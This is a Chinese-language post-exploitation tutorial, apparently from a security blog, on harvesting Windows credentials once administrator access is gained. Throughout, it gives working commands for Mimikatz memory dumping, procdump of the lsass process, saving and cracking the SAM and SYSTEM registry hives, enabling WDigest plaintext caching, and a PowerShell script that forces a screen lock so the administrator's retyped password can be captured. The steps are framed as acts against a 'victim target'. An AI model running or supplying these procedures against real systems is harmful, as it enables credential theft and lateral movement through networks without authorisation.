前言
在拿到一台 Windows 的管理员权限以后,可以通过多种方法获取 Windows 系统的明文密码或者 hash 值,这将有利于我们在内网中扩大渗透范围。
0x01 Mimikatz
Mimikat是一个法国人写的轻量级调试器。Mimikat可以从内存中提取纯文本密码,hash,PIN码和kerberos票证。
- 下载地址:https://github.com/gentilkiwi/mimikatz
将Mimikatz上传至受害目标系统上,然后执行如下命令:
代码语言:javascript复制mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
在Windows低版本操作系统中(例如:windows2003、windows2008等等),可以直接获取到明文密码。
在windows高版本操作系统中(例如:windows2012、windows2016等等),不能直接获取明文密码,可以利用获取到的hash值在cmd5等一些在线网站中尝试解密获取明文密码。
0x02 Mimikatz Procdump
ProcDump 是微软官方发布的一款命令行实用工具,可以绕过大多数的防护软件,该工具可以把lsass的内存dump下来,其中lsass进程里存放了Windows登录的账号密码信息。
- 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
把Procdump上传至受害目标系统上,使用该工具将lsass的内存dump保存,执行如下命令:
代码语言:javascript复制procdump.exe -accepteula -ma lsass.exe lsass.dmp
然后将lsass.dmp
导出到攻击者的本地电脑上,再利用Mimikatz读取密码和hash。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
0x03 Mimikatz 注册表
利用注册表读取密码的两个主要文件:
代码语言:javascript复制reg save HKLMSYSTEM Sys.hiv
reg save HKLMSAM Sam.hiv
将Sys.hiv
和Sam.hiv
导出到攻击者的本地电脑上,再利用Mimikatz读取密码hash。
mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv " exit> pwd.txt
0x04 Mimikatz 注册表 锁屏登录
在windows高版本操作系统中(例如:windows2012、windows2016等等),默认情况下已禁止在内存缓存中存系统用户明文密码,不能直接使用Mimikatz从内存中获取到明文密码。
可通过修改注册表设置允许存储明文密码,并让其系统强制锁屏,等待管理员重新输入账号密码后,即可抓取到明文密码。
代码语言:javascript复制reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1
使用如下powershell脚本,可以强制电脑锁屏:
代码语言:javascript复制Function Lock-WorkStation {
$signature = @"
[DllImport ("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
将上述代码保存到目标系统上为lock.ps1
,然后执行如下命令,即可目标系统强制锁屏:
powershell -file lock.ps1
等待管理员输入密码重新登录系统后,即可使用Mimikatz抓取到内存中的明文密码。
参考文章
- https://mp.weixin.qq.com/s/W-RuXSSRZyBmIHC0UZ79rw